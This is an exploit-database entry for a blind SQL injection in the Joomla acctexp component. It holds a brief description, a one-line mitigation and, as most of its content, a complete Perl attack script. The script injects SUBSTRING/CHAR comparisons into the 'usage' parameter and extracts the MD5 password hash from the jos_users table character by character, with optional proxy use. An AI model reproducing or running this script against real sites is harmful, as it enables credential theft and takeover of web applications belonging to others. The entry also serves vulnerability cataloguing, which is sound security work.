Joomla Component acctexp Blind SQL Injection Exploit

vendor:

acctexp

by:

His0k4

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: acctexp

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Joomla Component acctexp Blind SQL Injection Exploit

This exploit is a blind SQL injection vulnerability in the Joomla Component acctexp. It allows an attacker to extract the MD5 hash of the password of a given userid and gid. The exploit works by making a series of requests to the vulnerable application, each time changing the value of a single character in the password. If the response of the application changes, then the character is correct. This process is repeated until the entire password is extracted.

Mitigation:

The best way to mitigate this vulnerability is to ensure that all user input is properly sanitized and validated before being used in a SQL query.

Source

Exploit-DB raw data:

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print "                                                                \n";
  print "   #############################################################\n";
  print "   #   Joomla Component acctexp Blind SQL Injection Exploit    #\n";
  print "   #   Author:His0k4 [ALGERIAN HaCkeR]                         #\n";
  print "   #                                                           #\n";
  print "   #   Conctact: His0k4.hlm[at]gamil.com                       #\n";
  print "   #   Greetz:   All friends & muslims HacKeRs                 #\n";
  print "   #   Greetz2:  http://www.palcastle.org/cc :)                #\n";
  print "   #                                                           #\n";
  print "   #   Usage:   perl acctexp.pl host path <options>            #\n";
  print "   #   Example: perl acctexp.pl www.host.com /joomla/ -g 1     #\n";
  print "   #                                                           #\n";
  print "   #   Options:                                                #\n";
  print "   #     -g    usage  id                                       #\n";
  print "   #   Note:                                                   #\n";
  print "   #   Don't forget to change the match if you have to do it :)#\n";
  print "   #############################################################\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $gid     = $ARGV[2];

my %options = ();
GetOptions(\%options, "u=i", "p=s", "g=i");

print "[~] Exploiting...\n";

if($options{"u"})
{
  $userid = $options{"u"};
}

if($options{"g"})
{
  $gid = $options{"g"};
}

syswrite(STDOUT, "[~] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $gid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $gid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[~] Exploiting done\n";

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $rid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."index.php?option=com_acctexp&task=subscribe&usage=".$gid." and (SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1))=CHAR(".$h.")";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "Verify Password";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }

}

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